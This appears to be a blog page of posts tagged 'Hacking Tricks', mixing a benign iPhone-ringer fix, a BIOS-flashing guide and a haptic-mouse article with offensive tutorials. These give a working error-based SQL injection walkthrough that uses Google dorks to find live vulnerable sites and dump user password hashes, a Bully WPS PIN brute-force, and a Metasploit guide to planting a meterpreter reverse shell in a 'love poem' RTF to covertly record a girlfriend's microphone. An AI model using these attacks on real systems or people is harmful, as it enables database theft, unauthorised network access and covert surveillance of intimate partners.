Showing posts with label Hacking Tricks. Show all posts
Showing posts with label Hacking Tricks. Show all posts

I'm Missing Calls Because My iPhone Isn't Ringing. Help!


How to fix an iPhone that won't ring -
Last Updated: Dec. 5, 2014
It can be a puzzling situation: you’re getting voicemails and missing calls, but your iPhone doesn’t ring. It may seem mysterious, or maybe just really annoying, but either way, it needs to be fixed. There's not one single possible cause for why an iPhone stops ringing—it could be because your phone is broken, but there are a lot of things to try before concluding that—but the fixes are all relatively easy. If you're not hearing your iPhone's ringer, there could be 5 culprits:
  1. A broken speaker
  2. Mute is turned on
  3. Do Not Disturb is turned on
  4. You've blocked the phone number
  5. A problem with your ringtone.

 

Does Your Speaker Work?

The speaker at the bottom of your iPhone is used for every sounds your phone makes. Whether that's playing music and games, watching movies, or hearing a ringtone for incoming calls, the speaker is what makes it all happen. If you're not hearing calls, it could be that your speaker is broken. Try playing some music or a YouTube video, and make sure to turn up the volume. If your hear audio fine, then that's not the problem. But if no sound comes out when it should, and you've got the volume up loud, it could be that you need to repair your iPhone's speaker.

How to Hack WebSites with SQL Injection ~ Error Based ~

Another boring day and decided to check-out Null-Byte for some cool tut's. Found none today, So tried searching old threads and found SQL Injection Tutorials but to my surprise: There wasn't a tutorial about Error Based, Normal, Time and others, i mean the basic SQL Injection types we all find around everyday.The ones i found were half though ..
Today, I will like to spend my boring day writing a tutorial about SQLi Error Based.
SQLi { SQL Injection }
SQLi is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.
Imagine dropping an SQL Command to a database to do what you want:
Select, Insert, Update, and my best friend Drop.
Let's Take an unfiltered application that queries a database with the preferred user input.
Statement: SELECT FROM `users` WHERE `username` = 'sky'
'sky' is the user suplied data. Should a user like me type:
> sky';DROP TABLE users
> sky' or '1'='1
Please Don't Try This Queries on People's Work, Otherwise your gonna cause a great data loss to the owner
Query1: Will drop the table name meaning: Empty the whole table data
Query2: Will select all the data in the database, Could be credit card details : You could cause great data breach since i don't think you would report if you found Obama's credit card details in the application's database.
Although one or two people will report.
Ok Lets Get Practical.
How do you know when you need Error Based SQLi
This is the most important part of web hacking; the type of injection to use in different situations.
You can use Error Based Injections in the following errors you get:
> Unknown column in 'order clause'
> The used SELECT statements have a different number of columns
> You have an error in your SQL syntax; check the manual ...
> Warning: ....
There are others but this is what one usually finds the most ....
Now take note of these errors. You'll be needing them
SQLi - Error Based
Let's start by finding some vulnerable sites. There are many vulnerable sites so hope you find a nice and good one.
You can search vulnerable sites through vulnerable dorks:
trainers.php?id=
play
old.php?id=
declarationmore.php?declid=
Pageid=
games.php?id=
newsDetail.php?id=
staffid=
historialeer.php?num=
product-item.php?id=
news
view.php?id=
humor.php?id=
communiquedetail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=

You can get more here
  1. Open Google:
  2. Type: inurl: followed by our dork:
inurl:game.php?id=
Now when you re presented with the search results:
Take your time and visit each site carefully
  1. To check if a site is vulnerable: apppend an apostophe ( ' )
If you find the errors i specified above then we are good to go otherwise try another site: Come back when you find one.
  1. Finding Vulnerable Columns.
Append an order by statement followed by an increasing integer and two hypens -- until you get an error.
> http://vulnerablesite.com/buy.php?id=5 order by 1--
If you get no error, Increase 1 until you get an error.
Should you get an error on 5: Then keep in mind the columns are 4.
This is how the thing is: The number you get an error minus 1.
Error On Number 4: then the vulnerable columns are 3.
Hope you got that, Am not kind off a good teacher.
> http://vulnerablesite.com/buy.php?id=5 order by 1-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 2-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 3-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 4-- no error
> http://vulnerablesite.com/buy.php?id=5 order by 5-- error
The Vulnerable column is the last index of no error: which is 4.
  1. Checking for Union Select Function ...
We will need our vulnerable column number here ...
Above we got 4 i.e 1,2,3,4--
Now we need to find the injectable columns ...
To do that, site url followed by union select function and the vulnerable columns and also followed by our two hyphens (--) ...
> http://vulnerablesite.com/buy.php?id=5 union select columns --
Full URL: http://vulnerablesite.com/buy.php?id=5 union select 1,2,3,4--
After doing executing the url .... We will need to study the page to find the numbers that appear because they are our only gateway to inject commands to the database ... Study the image : Normal and After Query
From the study of the page: After Query ...
Result: 2,3,4
Injectable Columns are 2,3,4
  1. Getting Database Name; Database Version; Current Database User
Database Name
Now from the above injectable columns 2,3,4 .... We could replace any one of the them with our query ... We will choose 2
To get the database name: Replace the preferred injectable column with database() ...
Study: Before we execute the query ... Append an hyphen before our id parameter and continue with the query id=-5
In this post, We have Vulnerable Columns { 1,2,3,4 } and Injectable Columns { 2,3,4 } .... You need to take note of this parameters ..Since we choose 2 as our preferred injectable column number .... This is how the query is gonna be ...
> http://site.com/buy.php?id=-5 union select 1,database(),3,4--
Notice We replaced our preferred injectable column 2 with the query database()
> http://vulnerablesite.com/buy.php?id=-5 union select 1,database(),3,4--
Note Our preferred injectable column number will be replaced with the database output ...
Result: btslab
My Results will be different from yours since am using my localhost not a real website so don't be like .... Your not doing the right thing ...
DataBase Version
Very simple: Just Replace database() with @@version
Result: 5.6.20
Current Database User
Same applies to database user Just replace @@version with user()
Result: root@localhost
  1. Getting Current Table In Database { BTSLAB }
Replace paramater with and 1=2 union select 1,2,group_concat(tablename) from information_schema.tables where table_schema=database()--
Full URL: http://target.com/buy.php?id=-5 and 1=2 union select 1,2,group_concat(tablename) from information_schema.tables where table_schema=database()--
Result: posts,users
  1. Getting Columns From Table
I don't know about you but : I won't go for table:posts whiles I have seen table:users .......... "Hell Yeah .... Getting Table: users"
:Using Table - users
'Warning: You will need to convert the table name to MYSQL Char
Download HackBar
Click On Drop-down Menu: SQL and Click On Mysql .... Another drop-down appears and Choose MySQL Char()
After choosing MySQL Char() .. A javascript application dialog will pop up and prompt us for our text to be converted .... We type our preferred table name ... user
After Clicking Ok .... The text converted can be found in the addon's work bar ...
Now user==> CHAR(117, 115,101, 114, 115)
Done
Let's continue our query ..
Replace parameter with and 1=2 union select 1,group_concat(columnname),3,4 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--
Note: table name: users have been converted ..
Full URL: http://target.com/buy.php?id=-5 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--
Result: ID,username,email,password,about,privilege,avatar,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
  1. Getting Column Data of a selected Column name
Still don't know about you but am gonna go for column data:
username and password
Replace parameter with and 1=2 union select 1,2,group_concat(username,0x3a,password) from users--
Full URL: http://target.com/buy.php?id=-5 and 1=2 union select 1,2,group_concat(username,0x3a,password) from users--
Result: sky:bbc206c3aeebe3ed00cd14ec6e7f862c
  1. What You Do With The Data Is Not My Part
Now you can try cracking the hash with online services ... I created one sometime ago ... You can go to my service here
Have A Nice Day !!! ....
And please be kind to report if you find any vulnerability with my website ...
Sorry for bad english and long article ... WANTED TO EXPRESS MY SELF ...
My Waist again .. Catch you later guys ...
Please correct me if i mistyped or made a wrong move ...
And and .... the last thing i don't wanna miss otherwise get my butts to jail .... This Tutorial is for Educational Purposes. Thank you.

How to Hack Wi-Fi: Breaking a WPS PIN to Get the Password with Bully

Welcome back, to Grown tz hackers!
Like anything in life, there are multiple ways of getting a hack done. In fact, good hackers usually have many tricks up their sleeve to hack into a system. If they didn't, they would not usually be successful. No hack works on every system and no hack works all of the time.
I have demonstrated many ways to hack Wi-Fi here on Null Byte, including cracking WEP and WPA2 passwords and creating an Evil Twin and Rogue AP.
A few years back, Alex Long demonstrated how to use Reaver to hack the WPS PIN on those systems with old firmware and WPS enabled. Recently, a new WPS-hacking tool has appeared on the market and is included in our Kali hacking distribution. It's name, appropriately, is Bully.

Why WPS Is So Vulnerable

WPS stands for Wi-Fi Protected Setup and was designed to make setting a secure AP simpler for the average homeowner. First introduced in 2006, by 2011 it was discovered that it had a serious design flaw. The WPS PIN could be brute-forced rather simply.
With only 7 unknown digits in the PIN, there are just 9,999,999 possibilities, and most systems can attempt that many combinations in a few hours. Once the WPS PIN is discovered, the user can use that PIN to find the WPA2 preshared key (password). Since a brute-force attack against a WPA2 protected AP can take hours to days, if this feature is enabled on the AP and not upgraded, it can be a much faster route to getting the PSK.

The Keys to Success

It's important to note, though, that new APs no longer have this vulnerability. This attack will only work on APs sold during that window of 2006 and early 2012. Since many families keep their APs for many years, there are still many of these vulnerable ones around.
If you aren't familiar with wireless hacking, I strongly suggest that you read my introduction on the Aircrack-ng suite of tools. In addition, make certain that you have an Aircrack-ng compatible wireless card, otherwise this will simply be an exercise in frustration.

Step 1: Fire Up Kali

Let's start by firing our favorite hacking Linux distribution, Kali. Then open a terminal that looks like this:
To make certain we have some wireless connections and their designation, we can type:
  • kali > iwconfig
As we can see, this system has a wireless connection designated wlan0. Yours may be different, so make certain to check.

Step 2: Put Your Wi-Fi Adapter in Monitor Mode

The next step is to put your Wi-Fi adapter in monitor mode. This is similar to promiscuous mode on a wired connection. In other words, it enables us to see all the packets passing through the air past our wireless adapter. We can use one of the tools from the Aircrack-ng suite, Airmon-ng, to accomplish this task.
  • kali > airmon-ng start wlan0
Next, we need to use Airdump-ng to see the info on the wireless AP around us.
  • kali > airdump-ng mon0
As you can see, there are several APs visible to us. I'm interested in the first one: "Mandela2." We will need its BSSID (MAC address), its channel, and its SSID to be able to crack its WPS PIN.

Step 3: Use Airdump-Ng to Get the Necessary Info

Finally, all we need to do is to put this info into our Bully command.
  • kali > bully mon0 -b 00:25:9C:97:4F:48 -e Mandela2 -c 9
Let's break down that command to see what's happening.
  • mon0 is the name of the wireless adapter in monitor mode.
  • --b 00:25:9C:97:4F:48 is the BSSID of the vulnerable AP.
  • -e Mandela2 is the SSID of the AP.
  • -c 9 is the channel the AP is broadcasting on.
All of this information is available in the screen above with Airdump-ng.

Step 4: Start Bully

When we hit enter, Bully will start to try to crack the WPS PIN.
Now, if this AP is vulnerable to this attack, bully will spit out the WPS PIN and the AP password within 3 to 5 hours.

Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & More

Your BIOS, or Basic Input Output System, is the firmware on your motherboard responsible for initializing your computer's hardware when it is first powered on. It probes for video adapters, RAM, the whole works. The BIOS provides a small library of basic input/output functions used to operate and control the peripherals such as the keyboard, text display functions and so forth, and these software library functions are callable by external software such as the OS and system software within said OS.
When you enter your BIOS, the BIOS settings allow us to manipulate devices in the computer to do some pretty cool things. We can overclock parts, create RAID arrays, add boot passwords and much more. By default, most manufacturers don't allow you to have many settings, especially if you're a laptop user (gaming laptop users excluded). This can really be a bummer, especially when you're really close to running a game perfectly and your hardware can't handle it, overclocking can be that final boost that you need. Even if overclocking isn't your thing, you can downclock to save power.
Having a great BIOS allows users to do great things, but as we've said, a lot of computers lack this. The Null Byte alternative is to hack it! If we hack our BIOS, we can give our computer features it may not have even had before, like USB booting. Note that not all BIOS have hacked versions available.

Requirements

  • Windows OS
  • Know your BIOS name and version or computer model

Warning

  • You may brick your computer's motherboard if you flash incorrectly or an error occurs, rendering it unusable. Don't turn your computer off, or do anything else during a flash.

Step 1 Find the Right Hacked BIOS for You

To find our BIOS, take the name of it and use relevant queries. I'll be looking for a hacked A05 BIOS for an Alienware M18x.
  1. Head to Bios Mods. If you can't find it here, do a simple Google search. I used "hacked m18x bios a05" , which returned a lovely unlocked A05 BIOS.
  2. Search for your BIOS, computer model, or both.
Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & More

Step 2 Flash the BIOS

  1. Turn off all of the running software that you can. Having software running can cause a bad flash, which will brick your motherboard.
  2. Extract the utility archive.
  3. Load up the tool and pick your cracked BIOS version if necessary.
  4. Wait for the flash to complete.
When you reboot, you should have a BIOS with a plethora of new options like the example below.
Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & More

Haptic Hacking Breathes New Life into Old Computer Mice

ou've seen the felt mouse, which made computer clicking comfortable and chic, now brace yourself for something a little more interactive—DataBot.DataBot hails from the clever minds of Jan Barth and Roman Grasy, two Interaction Design students based in Germany who wanted to create an entirely different way to understand computer data, other than visual representations. Instead of just looking at your files and folders, their DataBot Mouse assigns physical properties to the data and interacts with you through haptic technology—touching your senses.
Developed with Arduino and VVVV, the prototype consists of a small servo-motor inside an optical mouse, which brakes the little ball. It communicates three different data properties to the user.
Haptic Hacking Breathes New Life into Old Computer Mice
It can show the weight of files and folders by braking with different force, according to file size. You can set a custom weight for files and folders so you can find important data more easily, just like the color-marking function in Mac OS X. And you can see the activity of your files and folders—showing how many times a file was opened or how busy a folder has been recently—by "breathing" with different intervals.
All settings are customizable, so you can fit it to your individual needs.
And it doesn't stop with computer mice. They've also developed a family of DataBot Hard Drives. The basic construction of one of the hard drives consists of a 3D-printed case, a servo-motor and some red and blue LEDs.
Haptic Hacking Breathes New Life into Old Computer Mice
The hard drive grows or shrinks based on how much space is used, compared to the total amount available. Just by looking at it, you can always see its current fill level. During file transmissions, it visualizes the progress with a blinking blue light, decreasing speed until the transmission is complete. And if an error occurs, the hard drive will shake and flash red lights.

Hack Like a Pro: How to Hack a Computer & Spy on Anyone, Part 1

Welcome back, my rookie hackers!
Now that nearly everyone and everyplace has a computer, you can use those remote computers for some good old "cloak and dagger" spying. No longer is spying something that only the CIA, NSA, KGB, and other intelligence agencies can do—you can learn to spy, too.
In this brand new series, we will explore how we can use the ubiquity of the computer to peek in on just about anyone and anyplace. Unlike the spy movies of yesteryear where the spy had to place a listening device in the lamp or in a houseplant, as long as there is a computer in the room, it can be used as a "bug."
We will examine how to turn that commonplace computer into our own bug to listen in on conversations, use as a spy camera, track Internet searches, and more. James Bond and Q have nothing on us!
In this first part, I will show you how to convert any computer, anywhere, into a listening device. As nearly every room now has a computer in it, you can put a bug in nearly every room, unnoticed and undetected.

Step 1: Fire Up Kali

The first step, of course, is to fire up Kali Linux. To be able to use any computer as a bug, the first step will be to compromise the target computer.

Step 2: Compromise the Remote Computer

Probably the best way to compromise your target's computer is to use a carefully crafted email that will get the target to click on a document or link. Inside that document or link, we will embed a rootkit/listener that will enable us to turn on the built-in microphone on their computer and save any conversations in the room where it is located.
Since we know the victim (it may be a girlfriend, neighbor, spouse, business associate, foreign diplomat, foreign spy, etc.), we can can be very specific in crafting an email that would gain their acceptance. The key, of course, is to create document that sounds compelling, or at least interesting, to get the victim to click on the Word document.
This becomes an exercise in social engineering at this point. If the victim is a girlfriend/boyfriend, you might try sending a love letter. If the victim is a business associate, it might be Word or Excel document with a sales or other report. If it is a neighbor, it may be a link to a community webpage.
I hope you get the point. Be creative and imaginative and send something that the person will be compelled to open and view.

Step 3: Find an Exploit

Now, if we want to exploit a Windows 7 system (most Windows 7 exploits will work on Windows 8), we will need to find a Windows 7 exploit that utilizes vulnerabilities in Microsoft's Word application.
This past spring, Microsoft revealed that hackers had found a vulnerability in Microsoft Word and Office Web apps that could allow remote code execution (read, rootkit). Here is Microsoft's announcement on their Technet Security Bulletin below (more info on Technet can be found here).
As you can see, they have named it MS14-017. When we do a search in Metasploit for this vulnerability/exploit, we find:
exploit/windows/fileformat/ms14_017_rtf
Now that we have found the proper exploit, let's load it into Metasploit by typing:
msf >use exploit/windows/fileformat/ms14_017_rtf
Once we have it loaded, let's type "info" to find more about this exploit.
Now, "show options."
As you can see, the option we need to fill is the FILENAME. In addition, note that this exploit works only on Office 2010.

Step 4: Set the FILENAME

In this example, we will be spying on your girlfriend, so let's send her a love poem. Let's set the FILENAME to "lovepoem.rtf."
set FILENAME lovepoem.rtf

Step 5: Set the Payload

Next, we need to set the payload to place in her "lovepoem." In this case, let's send the meterpreter as it gives us almost unlimited power and control over the hacked system.
msf > set PAYLOAD windows/meterpreter/reverse_tcp
Next, set the LHOST. This is the IP of your system. This tells the payload who to call back when it is executed by the victim.
Finally, simply type "exploit." This will create a Word file called "lovepoem" that will place the meterpreter on her system that we can then connect to.

Step 6: Open a Multi-Handler for the Connection

For the next step, we need to open a multi-handler to receive the connection back to our system.
msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
And finally, set the LHOST to your IP.

Step 7: Send the Love Poem to Your Girfriend

Now that we have created our malicious file, you need to send it to your girlfriend. You likely will want to send it via an email attachment with a note telling her that your wrote her a short poem to express your love for her. Knowing that it is from you, I'm sure she will click on it as she loves you dearly and trusts you completely.

Step 8: Compromise Her System

When she opens it, we will have a meterpreter session on her computer like that below. Now comes the good part.

Step 9: Record with the Microphone

What we will do next is enable the microphone on her computer and begin to record all of the sounds within earshot of it. Metasploit has a Ruby script that will enable the microphone on the target machine and begin to record all sounds and conversations nearby. If we go to our ultimate list of meterpreter scripts, we can find it among the many ready Ruby scripts built for the meterpreter.
From the meterpreter prompt, simply type:
meterpreter > run sound_recorder - l /root
This will start the microphone on her computer and store the recorded conversations and sounds in a file in the /root directory on your system. Of course, you can choose any directory to store these recordings. Just make certain you have adequate hard drive space, as these files can become very large. When you want to hear what was recorded, simply open the stored file on your system.

Stay Tuned for More Spying Fun...

No longer is spying the exclusive province of the CIA, NSA, KGB, or MI5. With just a little computer skills, anyone can be a spy. In future tutorials, I will show you how to turn on webcams, take screenshots, download confidential files from anyone's computer, and more.